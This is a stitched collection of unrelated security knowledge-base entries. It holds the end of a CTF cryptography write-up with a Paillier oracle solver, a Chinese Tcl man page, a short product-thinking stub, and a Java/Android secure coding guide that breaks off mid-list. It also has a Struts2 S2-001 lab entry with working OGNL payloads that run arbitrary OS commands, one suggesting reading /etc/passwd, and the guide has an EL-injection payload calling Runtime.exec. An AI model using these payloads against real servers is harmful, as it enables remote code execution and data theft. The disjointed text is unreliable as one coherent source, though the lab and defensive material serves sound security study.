`paillier_decrypt(pow(ct, multiplier, n**2)) = pt*multiplier % n` - `paillier_decrypt(pow(ct, modinv(divisor,n), n**2)) = pt*modinv(divisor,n) % n` - `paillier_decrypt(ct*encrypt(addend, g, n, n**2)) = (pt + addend) % n` - `paillier_decrypt(ct*encrypt(n-subtract, g, n, n**2)) = (pt - subtract) % n` In our case `g = n + 1` so we have all data we need: ```python f = '' divisor = modinv(2 ** 8, n) g = n + 1 for i in range(14): last_byte = dec(long_to_bytes(flag)).decode("hex") f += last_byte print(f[::-1]) sub = paillier_encrypt_simple(n - bytes_to_long(last_byte), g, n) flag = flag * sub % (n * n) flag = pow(flag, divisor, n * n) ``` This way we can recover last bytes of the flag. Sadly the flag is longer, so we need to run this a couple of times. Since we want to shift the flag farther forward to recover more characters, we need to strip known characters: ```python divisor = modinv(2 ** 8, n) for last_byte in known_suffix[::-1]: sub = paillier_encrypt_simple(n - bytes_to_long(last_byte), n + 1, n) flag = flag * sub % (n * n) flag = pow(flag, divisor, n * n) ``` Which is pretty much the same opration as above. After a couple of runs we recover whole: `hitcon{binary__search__and_least_significant_BYTE_oracle_in_paillier!!}` Entire solver [here](paillier_solver.py)
sec-knowleage
# 如何将产品思路“提现”? 本文主要整理一些学习过程中遇到的产品知识,主要整理些**思路**。 ## 前期 ### 思路一 根据现状和前景提出需求——从需求中拆分研究方向——证明思路、实现效果(Demo)——解决、总结繁琐的细节
sec-knowleage
# S2-001 远程代码执行漏洞 ## 原理 参考 [http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html) > 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 ## 环境 执行以下命令启动s2-001测试环境 ``` docker compose build docker compose up -d ``` ## POC && EXP 获取tomcat执行路径: ``` %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} ``` 获取Web路径: ``` %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} ``` 执行任意命令(命令加参数:`new java.lang.String[]{"cat","/etc/passwd"}`): ``` %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} ``` ![](1.jpeg)
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: lappend.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: lappend.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH lappend 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME lappend \- 向一个变量上添加列表元素 .SH "总览 SYNOPSIS" \fBlappend \fIvarName \fR?\fIvalue value value ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令把由 \fIvarName\fR 给出的变量作为一个列表来对待,并把每个 \fIvalue\fR 参数作为独立的元素添加到这个列表上,元素间用空格分隔。如果 \fIvarName\fR 不存在,则用由 \fIvalue\fR 给出的元素建立这个列表。\fBLappend\fR 与 \fBappend\fR 类似,但它的 \fIvalue\fRs 被作为列表的元素来添加而不是作为原始文本。这个命令提供了建造大列表的一种相对高效的方式。例如,在 \fB$a\fR 很长的时候,“\fBlappend a $b\fR”比“\fBset a [concat $a [list $b]]\fR”更高效。 .SH "参见 SEE ALSO" list(n), lindex(n), linsert(n), llength(n), lsort(n), lrange(n) .SH "关键字 KEYWORDS" append, element, list, variable .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/05 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
<details markdown="1"> <summary>目录</summary> - [1 安卓类](#1) * [I. 代码实现](#1.1) + [1.1 异常捕获处理](#1.1.1) + [1.2 数据泄露](#1.1.2) + [1.3 webview 组件安全](#1.1.3) + [1.4 传输安全](#1.1.4) * [II. 配置&环境](#1.2) + [2.1 AndroidManifest.xml 配置](#1.2.1) - [2 后台类](#2) * [I. 代码实现](#2.1) + [1.1 数据持久化](#2.1.1) + [1.2 文件操作](#2.1.2) + [1.3 文件操作](#2.1.3) + [1.4 XML读写](#2.1.4) + [1.5 响应输出](#2.1.5) + [1.6 OS命令执行](#2.1.6) + [1.7 会话管理](#2.1.7) + [1.8 加解密](#2.1.8) + [1.9 查询业务](#2.1.9) + [1.10 操作业务](#2.1.10) </details> <a id="1"></a> ## 安卓类 <a id="1.1"></a> ### I. 代码实现 <a id="1.1.1"></a> #### 1.1 异常捕获处理 ##### 1.1.1 【必须】序列化异常捕获 对于通过导出组件 intent 传递的序列化对象,必须进行 try...catch 处理,以避免数据非法导致应用崩溃。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { try { Intent mIntent = getIntent(); //String msg = intent.getStringExtra("data"); Person mPerson = (Person)mIntent.getSerializableExtra(ObjectDemo.SER_KEY) //textView.setText(msg); } catch (ClassNotFoundException exp) { // ...... } } } ``` ##### 1.1.2 【必须】NullPointerException 异常捕获 对于通过 intent getAction 方法获取数据时,必须进行 try...catch 处理,以避免空指针异常导致应用崩溃。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { try { Intent mIntent = getIntent(); if mIntent.getAction().equals("StartNewWorld") { // ...... } // ...... } catch (NullPointerException exp) { // ...... } } } ``` ##### 1.1.3 【必须】ClassCastException 异常捕获 对于通过 intent getSerializableExtra 方法获取数据时,必须进行 try...catch 处理,以避免类型转换异常导致应用崩溃。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { try { Intent mIntent = getIntent(); Person mPerson = (Person)mIntent.getSerializableExtra(ObjectDemo.SER_KEY) // ...... } catch (ClassCastException exp) { // ...... } } } ``` ##### 1.1.4 【必须】ClassNotFoundException 异常捕获 同 1.1.3 <a id="1.1.2"></a> #### 1.2 数据泄露 ##### 1.2.1 【必须】logcat 输出限制 release 版本禁止在 logcat 输出信息。 ```java public class MainActivity extends Activity { String DEBUG = "debug_version"; protected void onCreate(Bundle savedInstanceState) { // ...... if (DEBUG == "debug_version") { Log.d("writelog", "start activity"); } // ...... } } ``` <a id="1.1.3"></a> #### 1.3 webview 组件安全 ##### 1.3.1 【必须】addJavaScriptInterface 方法调用 对于设置 minsdk <= 18 的应用,禁止调用 addJavaScriptInterface 方法。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // ...... mWebView = new WebView(this); if (Build.VERSION.SDK_INT > 18) { mWebView.addJavascriptInterface(new wPayActivity.InJavaScriptLocalObj(this), "local_obj"); } // ...... } } ``` ##### 1.3.2 【建议】setJavaScriptEnabled 方法调用 如非必要,setJavaScriptEnabled 应设置为 false 。加载本地 html ,应校验 html 页面完整性,以避免 xss 攻击。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // ...... mWebView = new WebView(this); mWebView.getSettings().setJavaScriptEnabled(false); // ...... } } ``` ##### 1.3.3 【建议】setAllowFileAccess 方法调用 建议禁止使用 File 域协议,以避免过滤不当导致敏感信息泄露。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // ...... mWebView = new WebView(this); mWebView.getSettings().setAllowFileAccess(false); // ...... } } ``` ##### 1.3.4 【建议】setSavePassword 方法调用 建议 setSavePassword 的设置为 false ,避免明文保存网站密码。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // ...... mWebView = new WebView(this); mWebView.getSettings().setSavePassword(false); // ...... } } ``` ##### 1.3.5 【必须】onReceivedSslError 方法调用 webview 组件加载网页发生证书认证错误时,不能直接调用 handler.proceed() 忽略错误,应当处理当前场景是否符合业务预期,以避免中间人攻击劫持。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // ...... mWebView = new WebView(this); mWebView.setWebViewClient(new WebViewClient() { @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { // must check error check_error(); handler.proceed(); } } // ...... } } ``` <a id="1.1.4"></a> #### 1.4 传输安全 ##### 1.4.1 【必须】自定义 HostnameVerifier 类 自定义 HostnameVerifier 类后,必须实现 verify 方法校验域名,以避免中间人攻击劫持。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // ...... HostnameVerifier hnv = new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { // must to do isValid = checkHostName(hostname); return isValid; } }; // ...... } } ``` ##### 1.4.2 【必须】自定义 X509TrustManager 类 自定义 X509TrustManager 类后,必须实现 checkServerTrusted 方法校验服务器证书,以避免中间人攻击劫持。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // ...... TrustManager tm = new X509TrustManager() { public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { // must to do check_server_valid(); } }; // ...... } } ``` ##### 1.4.3 【必须】setHostnameVerifier 方法调用 禁止调用 setHostnameVerifier 方法设置 ALLOW_ALL_HOSTNAME_VERIFIER 属性,以避免中间人攻击劫持。 ```java public class MainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // ...... SchemeRegistry schemeregistry = new SchemeRegistry(); SSLSocketFactory sslsocketfactory = SSLSocketFactory.getSocketFactory(); // set STRICT_HOSTNAME_VERIFIER sslsocketfactory.setHostnameVerifier(SSLSocketFactory.STRICT_HOSTNAME_VERIFIER); // ...... } } ``` <a id="1.2"></a> ### II. 配置&环境 <a id="1.2.1"></a> #### 2.1 AndroidManifest.xml 配置 ##### 2.1.1 【必须】PermissionGroup 属性设置 禁止设置 PermissionGroup 属性为空。 ##### 2.1.2 【必须】protectionLevel 属性设置 对于自定义权限的 protectionLevel 属性设置,建议设置为 signature 或 signatureOrSystem。 ##### 2.1.3 【建议】sharedUserId 权限设置 最小范围和最小权限使用 sharedUserId 设置。 ##### 2.1.4 【建议】allowBackup 备份设置 如非产品功能需要,建议设置 allowBackup 为 false。 ```java <application android:allowBackup="false"> </application> ``` ##### 2.1.5 【必须】debuggable 调试设置 release 版本禁止设置 debuggable 为 true。 ```java <application android:debuggable="false"> </application> ``` <a id="2"></a> ## 后台类 <a id="2.1"></a> ### I. 代码实现 <a id="2.1.1"></a> #### 1.1 数据持久化 ##### 1.1.1【必须】SQL语句默认使用预编译并绑定变量 Web后台系统应默认使用预编译绑定变量的形式创建sql语句,保持查询语句和数据相分离。以从本质上避免SQL注入风险。 如使用Mybatis作为持久层框架,应通过\#{}语法进行参数绑定,MyBatis 会创建 `PreparedStatement` 参数占位符,并通过占位符安全地设置参数。 示例:JDBC ```java String custname = request.getParameter("name"); String query = "SELECT * FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); ``` Mybatis ```java <select id="queryRuleIdByApplicationId" parameterType="java.lang.String" resultType="java.lang.String"> select rule_id from scan_rule_sqlmap_tab where application_id=#{applicationId} </select> ``` 应避免外部输入未经过滤直接拼接到SQL语句中,或者通过Mybatis中的${}传入SQL语句(即使使用PreparedStatement,SQL语句直接拼接外部输入也同样有风险。例如Mybatis中部分参数通过${}传入SQL语句后实际执行时调用的是PreparedStatement.execute(),同样存在注入风险)。 ##### 1.1.2【必须】白名单过滤 对于表名、列名等无法进行预编译的场景,比如外部数据拼接到order by, group by语句中,需通过白名单的形式对数据进行校验,例如判断传入列名是否存在、升降序仅允许输入“ASC”和“DESC”、表名列名仅允许输入字符、数字、下划线等。参考示例: ```java public String someMethod(boolean sortOrder) { String SQLquery = "some SQL ... order by Salary " + (sortOrder ? "ASC" : "DESC");` ... ``` <a id="2.1.2"></a> #### 1.2 文件操作 ##### 1.2.1【必须】文件类型限制 须在服务器端采用白名单方式对上传或下载的文件类型、大小进行严格的限制。仅允许业务所需文件类型上传,避免上传.jsp、.jspx、.class、.java等可执行文件。参考示例: ```java String file_name = file.getOriginalFilename(); String[] parts = file_name.split("\\."); String suffix = parts[parts.length - 1]; switch (suffix){ case "jpeg": suffix = ".jpeg"; break; case "jpg": suffix = ".jpg"; break; case "bmp": suffix = ".bmp"; break; case "png": suffix = ".png"; break; default: //handle error return "error"; } ``` ##### 1.2.2【必须】禁止外部文件存储于可执行目录 禁止外部文件存储于WEB容器的可执行目录(appBase)。建议保存在专门的文件服务器中。 ##### 1.2.3【建议】避免路径拼接 文件目录避免外部参数拼接。保存文件目录建议后台写死并对文件名进行校验(字符类型、长度)。建议文件保存时,将文件名替换为随机字符串。 ##### 1.2.4【必须】避免路径穿越 如因业务需要不能满足1.2.3的要求,文件路径、文件命中拼接了不可行数据,需判断请求文件名和文件路径参数中是否存在../或..\\(仅windows), 如存在应判定路径非法并拒绝请求。 <a id="2.1.3"></a> #### 1.3 网络访问 ##### 1.3.1【必须】避免直接访问不可信地址 服务器访问不可信地址时,禁止访问私有地址段及内网域名。 ``` // 以RFC定义的专有网络为例,如有自定义私有网段亦应加入禁止访问列表。 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 127.0.0.0/8 ``` 建议通过URL解析函数进行解析,获取host或者domain后通过DNS获取其IP,然后和内网地址进行比较。 对已校验通过地址进行访问时,应关闭跟进跳转功能。 参考示例: ```java httpConnection = (HttpURLConnection) Url.openConnection(); httpConnection.setFollowRedirects(false); ``` <a id="2.1.4"></a> #### 1.4 XML读写 ##### 1.4.1【必须】XML解析器关闭DTD解析 读取外部传入XML文件时,XML解析器初始化过程中设置关闭DTD解析。 参考示例: javax.xml.parsers.DocumentBuilderFactory ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); …… } ``` org.dom4j.io.SAXReader ```java saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false); saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` org.jdom2.input.SAXBuilder ```java SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); Document doc = builder.build(new File(fileName)); ``` org.xml.sax.XMLReader ```java XMLReader reader = XMLReaderFactory.createXMLReader(); reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` <a id="2.1.5"></a> #### 1.5 响应输出 ##### 1.5.1【必须】设置正确的HTTP响应包类型 响应包的HTTP头“Content-Type”必须正确配置响应包的类型,禁止非HTML类型的响应包设置为“text/html”。此举会使浏览器在直接访问链接时,将非HTML格式的返回报文当做HTML解析,增加反射型XSS的触发几率。 ##### 1.5.2【建议】设置安全的HTTP响应头 - X-Content-Type-Options: ​ 建议添加“X-Content-Type-Options”响应头并将其值设置为“nosniff”,可避免部分浏览器根据其“Content-Sniff”特性,将一些非“text/html”类型的响应作为HTML解析,增加反射型XSS的触发几率。 - HttpOnly: ​ 控制用户登录鉴权的Cookie字段 应当设置HttpOnly属性以防止被XSS漏洞/JavaScript操纵泄漏。 - X-Frame-Options: ​ 设置X-Frame-Options响应头,并根据需求合理设置其允许范围。该头用于指示浏览器禁止当前页面在frame、iframe、embed等标签中展现。从而避免点击劫持问题。它有三个可选的值: ​ DENY: 浏览器会拒绝当前页面加载任何frame页面; ​ SAMEORIGIN:则frame页面的地址只能为同源域名下的页面 ​ ALLOW-FROM origin:可以定义允许frame加载的页面地址。 - Access-Control-Allow-Origin 当需要配置CORS跨域时,应对请求头的Origin值做严格过滤。 ```java ... String currentOrigin = request.getHeader("Origin"); if (currentOrigin.equals("https://domain.qq.com")) { response.setHeader("Access-Control-Allow-Origin", currentOrigin); } ... ``` ##### 1.5.3【必须】外部输入拼接到response页面前进行编码处理 当响应“content-type”为“html”类型时,外部输入拼接到响应包中,需根据输出位置进行编码处理。编码规则: | 场景 | 编码规则 | | ------------------------------------------------------------ | ------------------------------------------------------------ | | 输出点在HTML标签之间 | 需要对以下6个特殊字符进行HTML实体编码(&, <, >, ", ',/)。<br/>示例:<br/>& --> &amp;amp;<br/>< --> &amp;lt;<br/>>--> &amp;gt;<br/>" --> &amp;quot;<br/>' --> &amp;#x27; <br/>/ --> &amp;#x2F; | | 输出点在HTML标签普通属性内(如href、src、style等,on事件除外) | 要对数据进行HTML属性编码。<br/>编码规则:除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为&#xHH;(以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符) | | 输出点在JS内的数据中 | 需要进行js编码<br/>编码规则:<br/>除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)<br/>Tips:这种场景仅限于外部数据拼接在js里被引号括起来的变量值中。除此之外禁止直接将代码拼接在js代码中。 | | 输出点在CSS中(Style属性) | 需要进行CSS编码<br/>编码规则:<br/>除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字) | | 输出点在URL属性中 | 对这些数据进行URL编码<br/>Tips:除此之外,所有链接类属性应该校验其协议。禁止JavaScript、data和Vb伪协议。 | 以上编码规则相对较为繁琐,可参考或直接使用业界已有成熟第三方库如ESAPI.其提供以下函数对象上表中的编码规则: ```java ESAPI.encoder().encodeForHTML(); ESAPI.encoder().encodeForHTMLAttribute(); ESAPI.encoder().encodeForJavaScript(); ESAPI.encoder().encodeForCSS(); ESAPI.encoder().encodeForURL(); ``` ##### 1.5.4【必须】外部输入拼接到HTTP响应头中需进行过滤 应尽量避免外部可控参数拼接到HTTP响应头中,如业务需要则需要过滤掉“\r”、"\n"等换行符,或者拒绝携带换行符号的外部输入。 ##### 1.5.5【必须】避免不可信域名的302跳转 如果对外部传入域名进行302跳转,必须设置可信域名列表并对传入域名进行校验。 为避免校验被绕过,应避免直接对URL进行字符串匹配。应通过通过URL解析函数进行解析,获取host或者domain后和白名单进行比较。 需要注意的是,由于浏览器的容错机制,域名`https://www.qq.com\www.bbb.com`中的`\`会被替换成`/`,最终跳转到`www.qq.com`。而Java的域名解析函数则无此特性。为避免解析不一致导致绕过,建议对host中的`/`和`#`进行替换。 参考代码: ```java String host=""; try { url = url.replaceAll("[\\\\#]","/"); //替换掉反斜线和井号 host = new URL(url).getHost(); } catch (MalformedURLException e) { e.printStackTrace(); } if (host.endsWith(".qq.com")){ //跳转操作 }else{ return; } ``` ##### 1.5.6【必须】避免通过Jsonp传输非公开敏感信息 jsonp请求再被CSRF攻击时,其响应包可被攻击方劫持导致信息泄露。应避免通过jsonp传输非公开的敏感信息,例如用户隐私信息、身份凭证等。 ##### 1.5.7【必须】限定JSONP接口的callback字符集范围 JSONP接口的callback函数名为固定白名单。如callback函数名可用户自定义,应限制函数名仅包含 字母、数字和下划线。如:`[a-zA-Z0-9_-]+` ##### 1.5.8【必须】屏蔽异常栈 应用程序出现异常时,禁止将数据库版本、数据库结构、操作系统版本、堆栈跟踪、文件名和路径信息、SQL 查询字符串等对攻击者有用的信息返回给客户端。建议重定向到一个统一、默认的错误提示页面,进行信息过滤。 ##### 1.5.9【必须】模板&表达式 web view层通常通过模板技术或者表达式引擎来实现界面与业务数据分离,比如jsp中的EL表达式。这些引擎通常可执行敏感操作,如果外部不可信数据未经过滤拼接到表达式中进行解析。则可能造成严重漏洞。 下列是基于EL表达式注入漏洞的演示demo: ```java @RequestMapping("/ELdemo") @ResponseBody public String ELdemo(RepeatDTO repeat) { ExpressionFactory expressionFactory = new ExpressionFactoryImpl(); SimpleContext simpleContext = new SimpleContext(); String exp = "${"+repeat.getel()+"}"; ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class); return valueExpression.getValue(simpleContext).toString(); } ``` 外部可通过el参数,将不可信输入拼接到EL表达式中并解析。 此时外部访问:x.x.x.x/ELdemo?el=”''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open /Applications/Calculator.app')“ 可执行操作系统命令调出计算器。 基于以上风险: - 应避免外部输入的内容拼接到EL表达式或其他表达式引起、模板引擎进行解析。 - 白名单过滤外部输入,仅允许字符、数字、下划线等。 <a id="2.1.6"></a> #### 1.6 OS命令执行 ##### 1.6.1【建议】避免不可信数据拼接操作系统命令 当不可信数据存在时,应尽量避免外部数据拼接到操作系统命令使用 `Runtime` 和 `ProcessBuilder` 来执行。优先使用其他同类操作进行代替,比如通过文件系统API进行文件操作而非直接调用操作系统命令。 ##### 1.6.2【必须】避免创建SHELL操作 如无法避免直接访问操作系统命令,需要严格管理外部传入参数,使不可信数据仅作为执行命令的参数而非命令。 - 禁止外部数据直接直接作为操作系统命令执行。 - 避免通过"cmd"、“bash”、“sh”等命令创建shell后拼接外部数据来执行操作系统命令。 - 对外部传入数据进行过滤。可通过白名单限制字符类型,仅允许字符、数字、下划线;或过滤转义以下符号:|;&$><`(反引号)\! 白名单示例: ```java private static final Pattern FILTER_PATTERN = Pattern.compile("[0-9A-Za-z_]+"); if (!FILTER_PATTERN.matcher(input).matches()) { // 终止当前请求的处理 } ``` <a id="2.1.7"></a> #### 1.7 会话管理 ##### 1.7.1【必须】非一次有效身份凭证禁止在URL中传输 身份凭证禁止在URL中传输,一次有效的身份凭证除外(如CAS中的st)。 ##### 1.7.2【必须】避免未经校验的数据直接给会话赋值 防止会话信息被篡改,如恶意用户通过URL篡改手机号码等。 <a id="2.1.8"></a> #### 1.8 加解密 ##### 1.8.1【建议】对称加密 建议使用AES,秘钥长度128位以上。禁止使用DES算法,由于秘钥太短,其为目前已知不安全加密算法。使用AES加密算法请参考以下注意事项: - AES算法如果采用CBC模式:每次加密时IV必须采用密码学安全的伪随机发生器(如/dev/urandom),禁止填充全0等固定值。 - AES算法如采用GCM模式,nonce须采用密码学安全的伪随机数 - AES算法避免使用ECB模式,推荐使用GCM模式。 ##### 1.8.2【建议】非对称加密 建议使用RSA算法,秘钥2048及以上。 ##### 1.8.3【建议】哈希算法 哈希算法推荐使用SHA-2及以上。对于签名场景,应使用HMAC算法。如果采用字符串拼接盐值后哈希的方式,禁止将盐值置于字符串开头,以避免哈希长度拓展攻击。 ##### 1.8.4【建议】密码存储策略 建议采用随机盐+明文密码进行多轮哈希后存储密码。 <a id="2.1.9"></a> #### 1.9 查询业务 ##### 1.9.1【必须】返回信息最小化 返回用户信息应遵循最小化原则,避免将业务需求之外的用户信息返回到前端。 ##### 1.9.2【必须】个人敏感信息脱敏展示 在满足业务需求的情况下,个人敏感信息需脱敏展示,如: - 鉴权信息(如口令、密保答案、生理标识等)不允许展示 - 身份证只显示第一位和最后一位字符,如3****************1。 - 移动电话号码隐藏中间6位字符,如134******48。 - 工作地址/家庭地址最多显示到“区”一级。 - 银行卡号仅显示最后4位字符,如************8639 ##### 1.9.3【必须】数据权限校验 查询个人非公开信息时,需要对当前访问账号进行数据权限校验。 1. 验证当前用户的登录态 2. 